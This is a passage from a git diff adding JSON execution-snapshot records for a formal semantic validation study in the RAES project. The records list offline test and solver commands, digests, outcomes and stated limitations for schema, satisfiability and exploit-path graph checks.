"docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v19", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1237-execution-v19", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "c75805c56330d402a52bd7a578785bb343bf3c30", + "source_state": { + "base_revision": "c75805c56330d402a52bd7a578785bb343bf3c30", + "checkout_state": "modified", + "implementation_digest": "b81619cf25cce6c5d42ad3380835a9f96ed0dfcdd49da973b2ad6e4615934ec5", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v20.json b/docs/research/formal-semantic-validation/execution-snapshot-v20.json new file mode 100644 index 000000000..827b392e3 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v20.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1237-execution-v19", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v19.json", + "release_revision": "20.0.0", + "release_sha256": "b82b493cdac0003f3f861735876e4709c3112ccdfffe662b9c9d7a33633ba5a0" + }, + "captured_at": "2026-09-15T22:18:07.086137+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v20", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1237-execution-v20", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "f39cd4f7146056764ce385028767eb862cdaa11d1ffda85c1d735e4367fb64cf", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "66c64ed1807210579d2450a7b22032c3392db3f6b7fc639cdd898f61705c8c9a", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v20", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1237-execution-v20", + "limitations": [ + 